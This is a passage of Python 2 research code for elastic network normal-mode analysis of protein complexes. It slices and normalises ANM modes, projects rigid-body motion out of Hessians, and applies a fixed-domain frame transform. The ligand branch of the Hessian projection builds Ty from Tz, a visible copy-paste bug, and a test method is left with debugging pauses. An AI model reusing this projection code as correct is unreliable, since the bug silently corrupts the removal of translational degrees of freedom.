complex_chain.getSelstr()) self._anm_complex_slc = self.getNormalizedANM(self._anm_complex_slc) def calcANMSlcInterface(self, ref_chain_interface, reference, titleOfReferenceSingleProtein, isBoundComplex=False): self._anm_slc_interface = self.getSlicedInterfaceANM(self.getANMExtend(), ref_chain_interface, reference, titleOfReferenceSingleProtein, isBoundComplex) def getSlicedInterfaceANM(self, anm_ext, ref_chain_interface, reference, titleOfReferenceSingleProtein, isBoundComplex=False): selectionAtoms = self.createSlcSelectionString(reference, isBoundComplex, ref_chain_interface, titleOfReferenceSingleProtein) anm_slc_interface = sliceModel(anm_ext[0], anm_ext[1], selectionAtoms) return anm_slc_interface def calcInterfaceANMsforPart2a2k(self, encounter): self._anm_reference_slc_interface = self._slicedInterfaceANMs(self._anm_reference, encounter.getMobile(), encounter.getMobChainInterface()) self._anm_counterpart_slc_interface = self._slicedInterfaceANMs(self._anm_counterpart, encounter.getBoundCounterpart(), encounter.getBoundCounterpartChainInterface()) self._anm_boundcomplex_slc_interface = self._slicedInterfaceANMs(self._anm_complex, encounter.boundComplex.complex , encounter.getBoundComplexChainInterface()) assert (self._anm_reference_slc_interface[1].numAtoms() + self._anm_counterpart_slc_interface[1].numAtoms() == self._anm_boundcomplex_slc_interface[1].numAtoms()) for i in range(0, self._anm_reference_slc_interface[1].numAtoms()): assert self._anm_reference_slc_interface[1][i].getResname() == self._anm_boundcomplex_slc_interface[1][i].getResname() assert np.alltrue(self._anm_reference_slc_interface[1][i].getCoords() == self._anm_boundcomplex_slc_interface[1][i].getCoords()) assert self._anm_reference_slc_interface[1][i].getName() == self._anm_boundcomplex_slc_interface[1][i].getName() offsetAtoms = self._anm_reference_slc_interface[1].numAtoms() for i in range(0, self._anm_counterpart_slc_interface[1].numAtoms()): j = i + offsetAtoms assert self._anm_counterpart_slc_interface[1][i].getResname() == self._anm_boundcomplex_slc_interface[1][j].getResname() assert np.alltrue(self._anm_counterpart_slc_interface[1][i].getCoords() == self._anm_boundcomplex_slc_interface[1][j].getCoords()) assert self._anm_counterpart_slc_interface[1][i].getName() == self._anm_boundcomplex_slc_interface[1][j].getName() def calcInterfaceANMsUnified(self, reference, counterpart, proteinComplex, ref_chain_interface, counterpart_chain_interface, complex_chain_interface): """ Calculate (slice) the ANMs according to the interfaces on prot1, prot2 and their complex representation. Args: reference: prot1 counterpart: prot2 proteinComplex: prot1 and prot2 as one parsed object ref_chain_interface: interface of prot1 counterpart_chain_interface: interface of prot2 complex_chain_interface: interface of the proteinComplex """ self._anm_reference_slc_interface = self._slicedInterfaceANMs(self._anm_reference, reference, ref_chain_interface) self._anm_counterpart_slc_interface = self._slicedInterfaceANMs(self._anm_counterpart, counterpart, counterpart_chain_interface) self._anm_boundcomplex_slc_interface = self._slicedInterfaceANMs(self._anm_complex, proteinComplex, complex_chain_interface) # normalize modes self._anm_reference_slc_interface = self.getNormalizedANM(self._anm_reference_slc_interface) self._anm_counterpart_slc_interface = self.getNormalizedANM(self._anm_counterpart_slc_interface) self._anm_boundcomplex_slc_interface = self.getNormalizedANM(self._anm_boundcomplex_slc_interface) assert (self._anm_reference_slc_interface[1].numAtoms() + self._anm_counterpart_slc_interface[1].numAtoms() == self._anm_boundcomplex_slc_interface[1].numAtoms()) assertANMAtomEquality = False if assertANMAtomEquality: if self.utils.isReceptor(reference.getTitle()): for i in range(0, self._anm_reference_slc_interface[1].numAtoms()): # print i, self._anm_reference_slc_interface[1][i].getCoords(), self._anm_boundcomplex_slc_interface[1][i].getCoords() assert self._anm_reference_slc_interface[1][i].getResname() == self._anm_boundcomplex_slc_interface[1][i].getResname() assert np.alltrue(self._anm_reference_slc_interface[1][i].getCoords() == self._anm_boundcomplex_slc_interface[1][i].getCoords()) # item1roundedChoords = [round(x, 3) for x in self._anm_reference_slc_interface[1][i].getCoords().tolist()] # item2roundedChoords = [round(x, 3) for x in self._anm_boundcomplex_slc_interface[1][i].getCoords().tolist()] # assert np.alltrue(item1roundedChoords == item2roundedChoords) assert self._anm_reference_slc_interface[1][i].getName() == self._anm_boundcomplex_slc_interface[1][i].getName() offsetAtoms = self._anm_reference_slc_interface[1].numAtoms() for i in range(0, self._anm_counterpart_slc_interface[1].numAtoms()): j = i + offsetAtoms assert self._anm_counterpart_slc_interface[1][i].getResname() == self._anm_boundcomplex_slc_interface[1][j].getResname() assert np.alltrue(self._anm_counterpart_slc_interface[1][i].getCoords() == self._anm_boundcomplex_slc_interface[1][j].getCoords()) # item1roundedChoords = [round(x, 3) for x in self._anm_counterpart_slc_interface[1][i].getCoords().tolist()] # item2roundedChoords = [round(x, 3) for x in self._anm_boundcomplex_slc_interface[1][j].getCoords().tolist()] # assert np.alltrue(item1roundedChoords == item2roundedChoords) assert self._anm_counterpart_slc_interface[1][i].getName() == self._anm_boundcomplex_slc_interface[1][j].getName() else: offsetAtoms = self._anm_counterpart_slc_interface[1].numAtoms() for i in range(0, self._anm_reference_slc_interface[1].numAtoms()): j = i + offsetAtoms # print i, self._anm_reference_slc_interface[1][i].getCoords(), self._anm_boundcomplex_slc_interface[1][i].getCoords() assert self._anm_reference_slc_interface[1][i].getResname() == self._anm_boundcomplex_slc_interface[1][j].getResname() assert np.alltrue(self._anm_reference_slc_interface[1][i].getCoords() == self._anm_boundcomplex_slc_interface[1][j].getCoords()) # item1roundedChoords = [round(x, 3) for x in self._anm_reference_slc_interface[1][i].getCoords().tolist()] # item2roundedChoords = [round(x, 3) for x in self._anm_boundcomplex_slc_interface[1][j].getCoords().tolist()] # assert np.alltrue(item1roundedChoords == item2roundedChoords) assert self._anm_reference_slc_interface[1][i].getName() == self._anm_boundcomplex_slc_interface[1][j].getName() for i in range(0, self._anm_counterpart_slc_interface[1].numAtoms()): assert self._anm_counterpart_slc_interface[1][i].getResname() == self._anm_boundcomplex_slc_interface[1][i].getResname() assert np.alltrue(self._anm_counterpart_slc_interface[1][i].getCoords() == self._anm_boundcomplex_slc_interface[1][i].getCoords()) # item1roundedChoords = [round(x, 3) for x in self._anm_counterpart_slc_interface[1][i].getCoords().tolist()] # item2roundedChoords = [round(x, 3) for x in self._anm_boundcomplex_slc_interface[1][i].getCoords().tolist()] # assert np.alltrue(item1roundedChoords == item2roundedChoords) assert self._anm_counterpart_slc_interface[1][i].getName() == self._anm_boundcomplex_slc_interface[1][i].getName() def _slicedInterfaceANMs(self, anm, reference, interface): """ Slice an anm to match the provided interface. Args: anm: the anm to be sliced reference: the protein that the anm is based upon, necessary for extention of the model first interface: the interface of the protein """ anm_ext = extendModel(anm[0], anm[1], reference, norm=True) anm_slc = sliceModel(anm_ext[0], anm_ext[1], interface.getSelstr()) anm_slc = self.getNormalizedANM(anm_slc) return anm_slc def getANM(self): """ Get the ANM calculated on the reference (default) calpha atoms. """ if self._anm == None: raise Exception('self._anm == None') return self._anm def getANMExtend(self): """ Get the ANM extended to the whole reference (all atoms). """ if self._anm_extend == None: raise Exception('self._anm == None') return self._anm_extend def getANMSlc(self): """ Get the sliced back ANM to match all atoms in the ref_chain.""" if self._anm_slc == None: raise Exception('self._anm_slc == None') return self._anm_slc def getANMSlcCounterpart(self): """ Get the sliced back ANM to match all atoms in the counterpart chain(s) """ if self._anm_slc_counterpart == None: raise Exception('self._anm_slc == None') return self._anm_slc_counterpart def getANMSlcInterface(self): """ Get the sliced back ANM to match all atoms in the ref_chain_interface. """ if self._anm_slc_interface == None: raise Exception('self._anm_slc_interface == None') return self._anm_slc_interface def getANMComplexSlc(self): """ Get the sliced back ANM to match all atoms in the chain_complex. """ if self._anm_complex_slc == None: raise Exception('self._anm_complex_slc == None') return self._anm_complex_slc def getANMReference2a2kSlc(self): """ Get the sliced back self._anm_reference_slc ANM to match all atoms in the reference variable. """ if self._anm_reference_slc == None: raise Exception('self._anm_reference_slc == None') return self._anm_reference_slc def getANMCounterpart2a2kSlc(self): """ Get the sliced back self._anm_counterpart_slc ANM to match all atoms in the counterpart variable. """ if self._anm_counterpart_slc == None: raise Exception('self._anm_counterpart_slc == None') return self._anm_counterpart_slc def getANMReference(self): if self._anm_reference == None: raise Exception('self._anm_reference == None') return self._anm_reference def getANMReferenceSlc(self): if self._anm_reference_slc == None: raise Exception('self._anm_reference_slc == None') return self._anm_reference_slc def getANMCounterpart(self): if self._anm_counterpart == None: raise Exception('self._anm_counterpart == None') return self._anm_counterpart def getANMComplex(self): if self._anm_complex == None: raise Exception('self._anm_complex == None') return self._anm_complex def getANMReferenceSlcInterface(self): if self._anm_reference_slc_interface == None: raise Exception('self._anm_reference_slc_interface == None') return self._anm_reference_slc_interface def getANMCounterpartSlcInterface(self): if self._anm_counterpart_slc_interface == None: raise Exception('self._anm_counterpart_slc_interface == None') return self._anm_counterpart_slc_interface def getANMComplexSlcInterface(self): if self._anm_boundcomplex_slc_interface == None: raise Exception('self._anm_boundcomplex_slc_interface == None') return self._anm_boundcomplex_slc_interface def getANMPath(self, reference, numberOfModes, selstr, whatAtomsToMatch, modified=""): path = self.utils.config.anmPath prefix = reference.getTitle() prefix = prefix.replace(" ", "_") if modified == "": return path+prefix+"_modes"+str(numberOfModes)+"_buildOn"+selstr+"_matchedOn"+whatAtomsToMatch elif modified == "extended": return path+"extended/"+prefix+"_modes"+str(numberOfModes)+"_buildOn"+selstr+"_matchedOn"+whatAtomsToMatch+"_extended" elif modified == "slicedback": return path+"slicedback/"+prefix+"_modes"+str(numberOfModes)+"_buildOn"+selstr+"_matchedOn"+whatAtomsToMatch+"_slicedback" else: raise Exception("the variable modified is not the empty string, extended or slicedback.") def doesANMExist(self, reference, numberOfModes, selstr, whatAtomsToMatch, modified=""): path = self.utils.config.anmPath try: with open(self.getANMPath(reference, numberOfModes, selstr, whatAtomsToMatch, modified)+".anm.npz"): return True except IOError: return False def projectHessian(self, hessian, reference, proteinComplex, referenceSegment, projectionStyle, projectOnlyReferencePartOfHC=False, interCalphaIndices=None): """ Return the PH'P hessian which has 6 zero eigenvalues according to the formula 8.27 from the book "A practical introduction to the simulation of molecular dynamics", Field. However, here it is made sure that the assumed basis is orthonormal via np.linalg.qr applied on the six vectors discussed in this book. Args: hessian: the hessian to be projected reference: the protein the hessian or HRtilde/HLtilde of the hessian was created on proteinComplex: the whole protein that reference is part of referenceSegment: if reference is receptor, provide "R", else it needs to be ligand, provide "L" projectionStyle: project away from "full" (intra+inter) or "intra" (intra) or "fullComplex" pojectOnlyReferencePartOfHC: if true, the hessian was created on reference, if false, HRtilde or HLtilde of the hessian were created on the reference interCalphaIndices: list of calphas indices that have intermolecular interactions Returns: projected hessian with 6 external degrees of freedom (rotation and translation) removed """ assert projectionStyle == "full" or projectionStyle == "intra" or projectionStyle == "fullComplex" normalize = True numAtoms = reference.select('calpha').numAtoms() numCoords = numAtoms*3 centerOfCoords = calcCenter(reference.select('calpha')) assert np.alltrue(centerOfCoords == calcCenter(proteinComplex.select('segment \"'+referenceSegment+'.\"').select('calpha'))) print "before projection symmetry ==, allclose: ", np.all(hessian-hessian.T==0), np.allclose(hessian, hessian.T) if projectOnlyReferencePartOfHC: numComplexAtoms = proteinComplex.select('calpha').numAtoms() numComplexCoords = numComplexAtoms*3 numCounterpartCoords = numComplexCoords - numCoords if referenceSegment == "R": assert numCounterpartCoords == proteinComplex.select('segment \"L.\"').select('calpha').numAtoms() * 3 else: assert numCounterpartCoords == proteinComplex.select('segment \"R.\"').select('calpha').numAtoms() * 3 # Create null vector with length of the counterpart calphas counterPartNullVector = np.zeros(numCounterpartCoords) # Create I I = np.identity(numCoords) # Create the three translation vectors Tx, Ty, Tz Tx = np.zeros(numCoords) Tx = self.utils.fill3DArrayWithValue(Tx, 1.0, 0) Ty = np.zeros(numCoords) Ty = self.utils.fill3DArrayWithValue(Ty, 1.0, 1) Tz = np.zeros(numCoords) Tz = self.utils.fill3DArrayWithValue(Tz, 1.0, 2) # Create the three rotation vectors Rx, Ry, Rz coordsCopy = reference.select('calpha').getCoords().copy() Rx = self.utils.createRx(coordsCopy) coordsCopy2 = reference.select('calpha').getCoords().copy() Ry = self.utils.createRy(coordsCopy2) coordsCopy3 = reference.select('calpha').getCoords().copy() Rz = self.utils.createRz(coordsCopy3) # remove inter atoms from projection if projectionStyle == "intra": Tx = self.removeInterAtoms(Tx, interCalphaIndices) Ty = self.removeInterAtoms(Ty, interCalphaIndices) Tz = self.removeInterAtoms(Tz, interCalphaIndices) Rx = self.removeInterAtoms(Rx, interCalphaIndices) Ry = self.removeInterAtoms(Ry, interCalphaIndices) Rz = self.removeInterAtoms(Rz, interCalphaIndices) if projectOnlyReferencePartOfHC: # overwrite previous I I = np.identity(numComplexCoords) # extend (with the nullvector) the rotational and translational vectors to the dimension of the complex if referenceSegment == "R": Tx = np.concatenate((Tx, counterPartNullVector)) Ty = np.concatenate((Ty, counterPartNullVector)) Tz = np.concatenate((Tz, counterPartNullVector)) Rx = np.concatenate((Rx, counterPartNullVector)) Ry = np.concatenate((Ry, counterPartNullVector)) Rz = np.concatenate((Rz, counterPartNullVector)) else: Tx = np.concatenate((counterPartNullVector, Tx)) Ty = np.concatenate((counterPartNullVector, Tz)) Tz = np.concatenate((counterPartNullVector, Tz)) Rx = np.concatenate((counterPartNullVector, Rx)) Ry = np.concatenate((counterPartNullVector, Ry)) Rz = np.concatenate((counterPartNullVector, Rz)) # Normalize translation vectors and apply rotational fix if normalize: Tx = Vector(Tx) #Tx = self.subtractCenterOfCoords(Tx, centerOfCoords[0], 0.0, 0.0) Tx = Tx.getNormed().getArray() Ty = Vector(Ty) #Ty = self.subtractCenterOfCoords(Ty, 0.0, centerOfCoords[1], 0.0) Ty = Ty.getNormed().getArray() Tz = Vector(Tz) #Tz = self.subtractCenterOfCoords(Tz, 0.0, 0.0, centerOfCoords[2]) Tz = Tz.getNormed().getArray() Rx = Vector(Rx) #Rx = self.subtractCenterOfCoords(Rx, 0.0, centerOfCoords[2], centerOfCoords[1]) Rx = Rx.getNormed().getArray() Ry = Vector(Ry) #Ry = self.subtractCenterOfCoords(Ry, centerOfCoords[2], 0.0, centerOfCoords[0]) Ry = Ry.getNormed().getArray() Rz = Vector(Rz) #Rz = self.subtractCenterOfCoords(Rz, centerOfCoords[1], centerOfCoords[0], 0.0) Rz = Rz.getNormed().getArray() # Create P #P = I - np.outer(Rx, Rx) - np.outer(Ry, Ry) - np.outer(Rz, Rz) - np.outer(Tx, Tx) - np.outer(Ty, Ty) - np.outer(Tz, Tz) ### corres P = I - P #print "independent columns P: ", self.utils.independent_columns(P).shape #print "matrix rank P: ", self.utils.matrixrank(P) #print "independent columns I-P: ", self.utils.independent_columns(I-P).shape #print "matrix rank I-P: ", self.utils.matrixrank(I-P) #print "np matrix rank I-P : ", np.linalg.matrix_rank(I-P) #print "np matrix as matrix rank I-P : ", np.linalg.matrix_rank(np.matrix(I-P)) assumedBasis = np.array([Tx, Ty, Tz, Rx, Ry, Rz]).T MyQ, MyR = np.linalg.qr(assumedBasis) #print "MyQ.shape: ", MyQ.shape Rx = MyQ.T[0] Ry = MyQ.T[1] Rz = MyQ.T[2] Tx = MyQ.T[3] Ty = MyQ.T[4] Tz = MyQ.T[5] ### print "before full projection" ### P = I - np.outer(Rx, Rx) - np.outer(Ry, Ry) - np.outer(Rz, Rz) - np.outer(Tx, Tx) - np.outer(Ty, Ty) - np.outer(Tz, Tz) #print "assumedBasis : \n", assumedBasis.round(4) #print "basis after QR: \n", np.array([Tx, Ty, Tz, Rx, Ry, Rz]).T.round(4) #writeArray("assumedBasis.txt", assumedBasis.round(4), format="%f") #writeArray("basis_after_QR.txt", np.array([Tx, Ty, Tz, Rx, Ry, Rz]).T.round(4), format="%f") ### #print "P", P # print "P.shape", P.shape # print "symmetric P: ", np.allclose(P, P.T) # print "complex calphas * 3: ", proteinComplex.select('calpha').numAtoms() * 3 # print "rank of P projection", projectionStyle, ": ", np.linalg.matrix_rank(np.matrix(P)) # P_eigenvals, P_eigenvecs = np.linalg.eigh(P) # print "number of P_eigenvals: ", len(P_eigenvals) # #print "P_eigenvals: ", P_eigenvals # print "number of P_eigenvecs: ", len(P_eigenvecs) # #print "P_eigenvecs: ", P_eigenvecs # #writeArray("helperScripts/"+proteinComplex.getTitle()+"_P_"+projectionStyle+".txt", P, format='%10.7f') # #writeArray("P_eigenvals"+projectionStyle+".txt", P_eigenvals, format='%10.7f') # #writeArray("P_eigenvecs"+projectionStyle+".txt", P_eigenvecs, format='%10.7f') # # P_times_Peigenvecs = P.dot(P_eigenvecs) # P_times_Peigenvecs_T = P.dot(P_eigenvecs).T # P_orthonormalityTest = P_times_Peigenvecs_T.dot(P_times_Peigenvecs) # #writeArray("P_orthonormalityTest"+projectionStyle+".txt", P_orthonormalityTest, format='%10.7f') # # does this P_orthonormalityTest equal the identity matrix or part of it? # print "P_orthonormalityTest: ", np.allclose(P_orthonormalityTest, np.identity(len(P_eigenvecs))) # print "P_orthonormalityTest w/o upper 6x6: ", np.allclose(P_orthonormalityTest[6:,6:], np.identity(len(P_eigenvecs)-6)) # zeroM = np.zeros((len(P_eigenvecs), len(P_eigenvecs))) # zeroM[6:,6:] = P_orthonormalityTest[6:,6:] # print "P_orthonormalityTest except lower n-6,n-6 zero: ", np.allclose(P_orthonormalityTest, zeroM) # proteinComplex_ca = proteinComplex.select('calpha') # writePDB("complex_allatoms.pdb", proteinComplex) # writePDB("complex_before_Ptimes.pdb", proteinComplex_ca) # coord_shape = proteinComplex_ca.getCoords().shape # coords_P = P.dot(proteinComplex_ca.getCoords().flatten()) # coords_P = coords_P.reshape(coord_shape) # proteinComplex_ca.setCoords(coords_P) # writePDB("complex_after_Ptimes"+projectionStyle+".pdb", proteinComplex_ca) #raw_input() ### # Q, R = np.linalg.qr(P, mode="complete") # print "independent columns Q: ", self.utils.independent_columns(Q).shape # print "matrix rank Q: ", self.utils.matrixrank(Q) # print "matrix np rank Q: ", np.linalg.matrix_rank(Q)," ", np.linalg.matrix_rank(np.matrix(Q)) # print "log of determinant of Q: ", np.linalg.slogdet(Q) ### corres Q = I - Q #P = I-Q # Apply PH'H, np.dot is matrix multiplication for 2D arrays #print "count orthogonal columns: ", self.utils.countOrthogonalColumns(I-P) Hprime = np.dot(P.T, hessian) Hprime = np.dot(Hprime, P) # Return the projected hessian #print "after projection symmetry ==, allclose: ", np.all(Hprime-Hprime.T==0), np.allclose(Hprime, Hprime.T) #print "H: ", hessian #print "Hprime: ", Hprime return Hprime def projectHessian_test2timesQR(self, hessian, reference, proteinComplex, referenceSegment, projectionStyle, projectOnlyReferencePartOfHC=False, interCalphaIndices=None): """ Return the PH'P hessian which has 6 zero eigenvalues according to the formula 8.27 from the book "A practical introduction to the simulation of molecular dynamics", Field. However, here it is made sure that the assumed basis is orthonormal via np.linalg.qr applied on the six vectors discussed in this book. Args: hessian: the hessian to be projected reference: the protein the hessian or HRtilde/HLtilde of the hessian was created on proteinComplex: the whole protein that reference is part of referenceSegment: if reference is receptor, provide "R", else it needs to be ligand, provide "L" projectionStyle: project away from "full" (intra+inter) or "intra" (intra) or "fullComplex" pojectOnlyReferencePartOfHC: if true, the hessian was created on reference, if false, HRtilde or HLtilde of the hessian were created on the reference interCalphaIndices: list of calphas indices that have intermolecular interactions Returns: projected hessian with 6 external degrees of freedom (rotation and translation) removed """ assert projectionStyle == "full" normalize = True numAtoms = reference.select('calpha').numAtoms() numCoords = numAtoms*3 centerOfCoords = calcCenter(reference.select('calpha')) assert np.alltrue(centerOfCoords == calcCenter(proteinComplex.select('segment \"'+referenceSegment+'.\"').select('calpha'))) print "before projection symmetry ==, allclose: ", np.all(hessian-hessian.T==0), np.allclose(hessian, hessian.T) numComplexAtoms = proteinComplex.select('calpha').numAtoms() numComplexCoords = numComplexAtoms*3 numCounterpartCoords = numComplexCoords - numCoords if referenceSegment == "R": assert numCounterpartCoords == proteinComplex.select('segment \"L.\"').select('calpha').numAtoms() * 3 else: assert numCounterpartCoords == proteinComplex.select('segment \"R.\"').select('calpha').numAtoms() * 3 # Create null vector with length of the counterpart calphas counterPartNullVector = np.zeros(numCounterpartCoords) # Create I I = np.identity(numComplexCoords) # Create the three translation vectors Tx, Ty, Tz Tx = np.zeros(numComplexCoords) Tx = self.utils.fill3DArrayWithValue(Tx, 1.0, 0) Ty = np.zeros(numComplexCoords) Ty = self.utils.fill3DArrayWithValue(Ty, 1.0, 1) Tz = np.zeros(numComplexCoords) Tz = self.utils.fill3DArrayWithValue(Tz, 1.0, 2) # Create the three rotation vectors Rx, Ry, Rz coordsCopy = proteinComplex.select('calpha').getCoords().copy() Rx = self.utils.createRx(coordsCopy) coordsCopy2 = proteinComplex.select('calpha').getCoords().copy() Ry = self.utils.createRy(coordsCopy2) coordsCopy3 = proteinComplex.select('calpha').getCoords().copy() Rz = self.utils.createRz(coordsCopy3) # if projectOnlyReferencePartOfHC: # # overwrite previous I # I = np.identity(numComplexCoords) # # extend (with the nullvector) the rotational and translational vectors to the dimension of the complex # if referenceSegment == "R": # Tx = np.concatenate((Tx, counterPartNullVector)) # Ty = np.concatenate((Ty, counterPartNullVector)) # Tz = np.concatenate((Tz, counterPartNullVector)) # Rx = np.concatenate((Rx, counterPartNullVector)) # Ry = np.concatenate((Ry, counterPartNullVector)) # Rz = np.concatenate((Rz, counterPartNullVector)) # else: # Tx = np.concatenate((counterPartNullVector, Tx)) # Ty = np.concatenate((counterPartNullVector, Tz)) # Tz = np.concatenate((counterPartNullVector, Tz)) # Rx = np.concatenate((counterPartNullVector, Rx)) # Ry = np.concatenate((counterPartNullVector, Ry)) # Rz = np.concatenate((counterPartNullVector, Rz)) # Normalize translation vectors and apply rotational fix if normalize: Tx = Vector(Tx) #Tx = self.subtractCenterOfCoords(Tx, centerOfCoords[0], 0.0, 0.0) Tx = Tx.getNormed().getArray() Ty = Vector(Ty) #Ty = self.subtractCenterOfCoords(Ty, 0.0, centerOfCoords[1], 0.0) Ty = Ty.getNormed().getArray() Tz = Vector(Tz) #Tz = self.subtractCenterOfCoords(Tz, 0.0, 0.0, centerOfCoords[2]) Tz = Tz.getNormed().getArray() Rx = Vector(Rx) #Rx = self.subtractCenterOfCoords(Rx, 0.0, centerOfCoords[2], centerOfCoords[1]) Rx = Rx.getNormed().getArray() Ry = Vector(Ry) #Ry = self.subtractCenterOfCoords(Ry, centerOfCoords[2], 0.0, centerOfCoords[0]) Ry = Ry.getNormed().getArray() Rz = Vector(Rz) #Rz = self.subtractCenterOfCoords(Rz, centerOfCoords[1], centerOfCoords[0], 0.0) Rz = Rz.getNormed().getArray() assumedBasis = np.array([Tx, Ty, Tz, Rx, Ry, Rz]).T MyQ, MyR = np.linalg.qr(assumedBasis, mode='full') Rx = MyQ.T[0] Ry = MyQ.T[1] Rz = MyQ.T[2] Tx = MyQ.T[3] Ty = MyQ.T[4] Tz = MyQ.T[5] Rx = Rx[:numCoords] Ry = Ry[:numCoords] Rz = Rz[:numCoords] Tx = Tx[:numCoords] Ty = Ty[:numCoords] Tz = Tz[:numCoords] assumedBasis = np.array([Tx, Ty, Tz, Rx, Ry, Rz]).T MyQ, MyR = np.linalg.qr(assumedBasis, mode='full') Rx = MyQ.T[0] Ry = MyQ.T[1] Rz = MyQ.T[2] Tx = MyQ.T[3] Ty = MyQ.T[4] Tz = MyQ.T[5] print "len(Rx): ", len(Rx) Tx = np.concatenate((Tx, counterPartNullVector)) Ty = np.concatenate((Ty, counterPartNullVector)) Tz = np.concatenate((Tz, counterPartNullVector)) Rx = np.concatenate((Rx, counterPartNullVector)) Ry = np.concatenate((Ry, counterPartNullVector)) Rz = np.concatenate((Rz, counterPartNullVector)) print "Pr test" raw_input() P = I - np.outer(Rx, Rx) - np.outer(Ry, Ry) - np.outer(Rz, Rz) - np.outer(Tx, Tx) - np.outer(Ty, Ty) - np.outer(Tz, Tz) #print "assumedBasis : \n", assumedBasis.round(4) #print "basis after QR: \n", np.array([Tx, Ty, Tz, Rx, Ry, Rz]).T.round(4) #writeArray("assumedBasis.txt", assumedBasis.round(4), format="%f") #writeArray("basis_after_QR.txt", np.array([Tx, Ty, Tz, Rx, Ry, Rz]).T.round(4), format="%f") ### print "P", P print "P.shape", P.shape print "symmetric P: ", np.allclose(P, P.T) print "complex calphas * 3: ", proteinComplex.select('calpha').numAtoms() * 3 print "rank of P projection", projectionStyle, ": ", np.linalg.matrix_rank(np.matrix(P)) P_eigenvals, P_eigenvecs = np.linalg.eigh(P) print "number of P_eigenvals: ", len(P_eigenvals) #print "P_eigenvals: ", P_eigenvals print "number of P_eigenvecs: ", len(P_eigenvecs) #print "P_eigenvecs: ", P_eigenvecs writeArray("helperScripts/"+proteinComplex.getTitle()+"_P_"+projectionStyle+".txt", P, format='%10.7f') #writeArray("P_eigenvals"+projectionStyle+".txt", P_eigenvals, format='%10.7f') #writeArray("P_eigenvecs"+projectionStyle+".txt", P_eigenvecs, format='%10.7f') P_times_Peigenvecs = P.dot(P_eigenvecs) P_times_Peigenvecs_T = P.dot(P_eigenvecs).T P_orthonormalityTest = P_times_Peigenvecs_T.dot(P_times_Peigenvecs) #writeArray("P_orthonormalityTest"+projectionStyle+".txt", P_orthonormalityTest, format='%10.7f') # does this P_orthonormalityTest equal the identity matrix or part of it? print "P_orthonormalityTest: ", np.allclose(P_orthonormalityTest, np.identity(len(P_eigenvecs))) print "P_orthonormalityTest w/o upper 6x6: ", np.allclose(P_orthonormalityTest[6:,6:], np.identity(len(P_eigenvecs)-6)) zeroM = np.zeros((len(P_eigenvecs), len(P_eigenvecs))) zeroM[6:,6:] = P_orthonormalityTest[6:,6:] print "P_orthonormalityTest except lower n-6,n-6 zero: ", np.allclose(P_orthonormalityTest, zeroM) # proteinComplex_ca = proteinComplex.select('calpha') # writePDB("complex_allatoms.pdb", proteinComplex) # writePDB("complex_before_Ptimes.pdb", proteinComplex_ca) # coord_shape = proteinComplex_ca.getCoords().shape # coords_P = P.dot(proteinComplex_ca.getCoords().flatten()) # coords_P = coords_P.reshape(coord_shape) # proteinComplex_ca.setCoords(coords_P) # writePDB("complex_after_Ptimes"+projectionStyle+".pdb", proteinComplex_ca) raw_input() ### # Q, R = np.linalg.qr(P, mode="complete") # print "independent columns Q: ", self.utils.independent_columns(Q).shape # print "matrix rank Q: ", self.utils.matrixrank(Q) # print "matrix np rank Q: ", np.linalg.matrix_rank(Q)," ", np.linalg.matrix_rank(np.matrix(Q)) # print "log of determinant of Q: ", np.linalg.slogdet(Q) ### corres Q = I - Q #P = I-Q # Apply PH'H, np.dot is matrix multiplication for 2D arrays #print "count orthogonal columns: ", self.utils.countOrthogonalColumns(I-P) Hprime = np.dot(P.T, hessian) Hprime = np.dot(Hprime, P) # Return the projected hessian #print "after projection symmetry ==, allclose: ", np.all(Hprime-Hprime.T==0), np.allclose(Hprime, Hprime.T) #print "H: ", hessian #print "Hprime: ", Hprime return Hprime def transformHessianToFixedDomainFrame(self, hessian, reference, proteinComplex, referenceSegment, projectionStyle): """ Application of formula 20 from: Fuchigami, Sotaro, Satoshi Omori, Mitsunori Ikeguchi, and Akinori Kidera. "Normal Mode Analysis of Protein Dynamics in a Non-Eckart Frame." The Journal of Chemical Physics 132, no. 10 (March 11, 2010): 104109. doi:10.1063/1.3352566. """ numAtoms = reference.select('calpha').numAtoms() numCoords = numAtoms*3 centerOfCoords = calcCenter(reference.select('calpha')) #assert np.alltrue(centerOfCoords == calcCenter(proteinComplex.select('segment \"'+referenceSegment+'.\"').select('calpha'))) numComplexAtoms = proteinComplex.select('calpha').numAtoms() numComplexCoords = numComplexAtoms*3 numCounterpartCoords = numComplexCoords - numCoords if referenceSegment == "R": # create the P matrix, receptor is fixed domain P = np.zeros((numComplexCoords, numComplexCoords)) P[:numCoords, :numCoords] = np.identity(numCoords) assert numCounterpartCoords == proteinComplex.select('segment \"L.\"').select('calpha').numAtoms() * 3 else: # create the P matrix, ligand is fixed domain P = np.zeros((numComplexCoords, numComplexCoords)) numCoords_receptor = proteinComplex.select('segment \"R.\"').select('calpha').numAtoms() * 3 P[numCoords_receptor:, numCoords_receptor:] = np.identity(proteinComplex.select('segment \"L.\"').select('calpha').numAtoms() * 3) assert numCounterpartCoords == proteinComplex.select('segment \"R.\"').select('calpha').numAtoms() * 3 # create rigid body motion eigenvectors out_values out_vals, out_vectors = sp.linalg.eigh(hessian) # sort the eigenvalues and eigenvectors ascendingly, this is not asserted by the eigh return, see # http://stackoverflow.com/questions/8092920/sort-eigenvalues-and-associated-eigenvectors-after-using-numpy-linalg-eig-in-pyt idx = out_vals.argsort() out_vals = out_vals[idx] out_vectors = out_vectors[:,idx] # take the first six eigenvalues and eigenvectors out_vals = out_vals[:6] out_vectors = out_vectors.T[:6].T #print "P.shape: ", P.shape #print "out_vectors.shape: ", out_vectors.shape # create the transformation matrix inv = (out_vectors.T.dot(P)).dot(out_vectors) inv = np.linalg.inv(inv) secondTerm = ((out_vectors.dot(inv)).dot(out_vectors.T)).dot(P) U = np.identity(numComplexCoords) - secondTerm print "calculated transformation matrix U" #writeArray("hessianbeforeU.txt", hessian, format='%10.7f') Hprime = np.dot(U, hessian) Hprime = np.dot(Hprime, U.T) #writeArray(proteinComplex.getTitle()+"U.txt", U, format='%10.7f') #writeArray("hessianafterU.txt", Hprime, format='%10.7f') print "obtained Hprime with a fixed domain frame" return Hprime def subtractCenterOfCoords(self, vector, xElement, yElement, zElement): """ Subtract from a vector having a [i][3] dim array elementwise the center of coords and return the result. """ coordsNx3 = vector.getArrayNx3() subtractArray = np.array([xElement, yElement, zElement]) coordsNx3 = coordsNx3 - subtractArray resultVector = Vector(coordsNx3.flatten()) return resultVector def addscaledHdelta(self, HR, HRtilde, deltaHRmultiplicator): assert HR.shape == HRtilde.shape deltaHR = HRtilde - HR deltaHR = deltaHR * deltaHRmultiplicator return (HR + deltaHR) def calcCustomH_ANew(self, 